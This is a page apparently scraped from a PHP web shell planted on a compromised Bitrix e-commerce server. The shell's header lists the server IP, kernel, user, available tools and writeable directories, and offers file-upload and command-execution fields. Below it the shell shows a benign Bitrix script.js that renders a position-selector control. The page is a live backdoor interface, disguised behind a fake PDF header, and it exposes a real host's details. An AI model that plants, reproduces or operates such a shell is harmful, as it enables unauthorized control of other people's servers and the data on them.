%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.28.206
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.basket.basket/settings/position/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.basket.basket/settings/position/script.js
function initPositionControl(params)
{
	var data = JSON.parse(params.data);
	if (data)
	{
		window['pos_parameter_' + params.propertyID] = new PositionParameterControl(data, params);
	}
}

function PositionParameterControl(data, params)
{
	var rand = BX.util.getRandomString(5);

	this.params = params || {};
	this.positions = data.positions || {};
	this.parentClassName = data.className ? ' ' + data.className : '';
	this.selected = this.params.oInput.value || this.params.propertyParams.DEFAULT;
	this.id = 'pos_params_container_' + this.params.propertyID + '_' + rand;

	BX.loadCSS(this.getPath() + '/style.css?' + rand);
	this.buildNodes();
	this.saveData();
}

PositionParameterControl.prototype =
{
	getPath: function()
	{
		var path = this.params.propertyParams.JS_FILE.split('/');

		path.pop();

		return path.join('/');
	},

	buildNodes: function()
	{
		var nodes = [];

		for (var i in this.positions)
		{
			if (this.positions.hasOwnProperty(i))
			{
				nodes.push(
					BX.create('DIV', {
						attrs: {'data-value': this.positions[i]},
						props: {
							className: 'bx-pos-parameter bx-pos-parameter-' + this.positions[i]
							+ (this.positions[i] == this.selected ? ' selected' : '')
						},
						events: {click: BX.proxy(this.selectPosition, this)}
					})
				);
			}
		}

		this.params.oCont.appendChild(
			BX.create('DIV', {
				props: {className: 'bx-pos-parameter-container' + this.parentClassName},
				children: [
					BX.create('DIV', {children: nodes, props: {className: 'bx-pos-parameter-block'}}),
					BX.create('DIV', {props: {className: 'bx-pos-parameter-decore'}}),
					BX.create('DIV', {props: {className: 'bx-pos-parameter-decore'}}),
					BX.create('DIV', {props: {className: 'bx-pos-parameter-decore'}}),
					BX.create('DIV', {props: {className: 'bx-pos-parameter-decore'}}),
					BX.create('DIV', {props: {className: 'bx-pos-parameter-decore'}})
				]
			})
		);
	},

	selectPosition: function(event)
	{
		var target = BX.getEventTarget(event),
			items = this.params.oCont.querySelectorAll('.bx-pos-parameter'),
			value = target.getAttribute('data-value');

		if (this.selected == value)
			return;

		this.selected = value;

		for (var k in items)
		{
			if (items.hasOwnProperty(k))
			{
				if (items[k].getAttribute('data-value') == this.selected)
				{
					BX.addClass(items[k], 'selected');
				}
				else
				{
					BX.removeClass(items[k], 'selected');
				}
			}
		}

		this.saveData();
	},

	saveData: function()
	{
		this.params.oInput.value = this.selected;
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit